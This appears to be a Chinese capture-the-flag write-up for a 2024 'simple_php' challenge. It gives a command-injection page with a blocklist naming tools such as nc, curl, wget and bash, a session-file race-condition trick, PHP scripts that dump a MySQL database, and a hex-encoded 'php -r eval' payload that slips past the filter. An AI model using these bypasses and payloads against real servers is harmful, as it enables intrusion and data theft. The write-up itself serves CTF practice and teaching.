國賽2024 simple_php(三種方法)

DGhh發表於2024-05-21
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
  $cmd = escapeshellcmd($_POST['cmd']); 
   if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
     system($cmd);
}
}

show_source(__FILE__);
?>

題目如上過濾了很多

方法一:

經過測試發現可以利用session檔案包含

意思就是你傳一個post請求包

他會生成一個臨sess_+時檔案

檔名即為/sess_+PHPSESSID值

image-20240521170556575

臨時檔案在/tmp/sess_aaaa下

系統會刪除這個檔案

我們要在它刪除之前去訪問它(條件競爭)

直接post傳cmd=php /tmp/sess_aaaa

image-20240521171041274

兩個檔案同時去發包

image-20240521171407957

在構建的post包123處寫上想要執行的程式碼即可

<?php system('ls /');?>

執行後沒找到flag

懷疑在資料庫中

利用php指令碼去連結資料庫

<?php
// 建立連線
$conn = new mysqli("localhost", "root", "root");

// 檢查連線
if ($conn->connect_error) {
    die("連線失敗: " . $conn->connect_error);
}

// 查詢所有資料庫名
$sql = "SHOW DATABASES";
$result = $conn->query($sql);

// 輸出資料庫名
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "資料庫名:" . $row["Database"] . "<br>";
    }
} else {
    echo "未找到資料庫。";
}

// 關閉連線
$conn->close();
?>

image-20240521171505762

成功

並且發現可疑資料庫

繼續查表

<?php
// 資料庫連線資訊
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";

// 建立連線
$conn = new mysqli($servername, $username, $password, $dbname);

// 檢查連線
if ($conn->connect_error) {
    die("連線失敗: " . $conn->connect_error);
}

// 查詢所有表名
$sql = "SHOW TABLES";
$result = $conn->query($sql);

// 輸出表名
if ($result->num_rows > 0) {
    echo "資料庫 " . $dbname . " 中的表名:<br>";
    while($row = $result->fetch_assoc()) {
        echo $row["Tables_in_PHP_CMS"] . "<br>";
    }
} else {
    echo "該資料庫中沒有表。";
}

// 關閉連線
$conn->close();
?>

image-20240521172038693

發現可疑表F1ag_Se3Re7

接著去查表中內容

<?php
// 資料庫連線資訊
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";

// 建立連線
$conn = new mysqli($servername, $username, $password, $dbname);

// 檢查連線
if ($conn->connect_error) {
    die("連線失敗: " . $conn->connect_error);
}

// 查詢 F1ag_Se3Re7 表中的內容
$sql = "SELECT * FROM F1ag_Se3Re7";
$result = $conn->query($sql);

// 輸出內容
if ($result->num_rows > 0) {
    echo "F1ag_Se3Re7 表中的內容:<br>";
    while($row = $result->fetch_assoc()) {
        // 輸出每行資料
        foreach ($row as $key => $value) {
            echo $key . ": " . $value . "<br>";
        }
        echo "<br>";
    }
} else {
    echo "F1ag_Se3Re7 表中沒有資料。";
}

// 關閉連線
$conn->close();
?>

image-20240521172524809

得到flag

ctfshow{2c8541c2-ad6e-42a5-93c1-fe2e2fb1243c}

方法二:

和方法一類似

前提是你需要有一個伺服器(我的伺服器出了些問題就不演示了,有什麼難點可以找我討論)

還是用上面的方法

直接去反彈shell(反彈shell的命令網上有,用php的)

方法三:

這裡的環境是比賽時的環境

過濾比較多

但還可以利用php -r

後面用編碼繞過

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps1.jpg)

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps2.jpg)

目錄中沒有flag懷疑在資料庫中

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps3.jpg)

接下來連線資料庫執行命令

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps4.jpg)

先查庫

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps5.jpg)

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";

$b=bin2hex($a);

echo $b;

?>
結果:6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b

查表

再查表中內容

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";

$b=bin2hex($a);

echo $b;

?>

即可

cmd=php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

也可得到flag

相關文章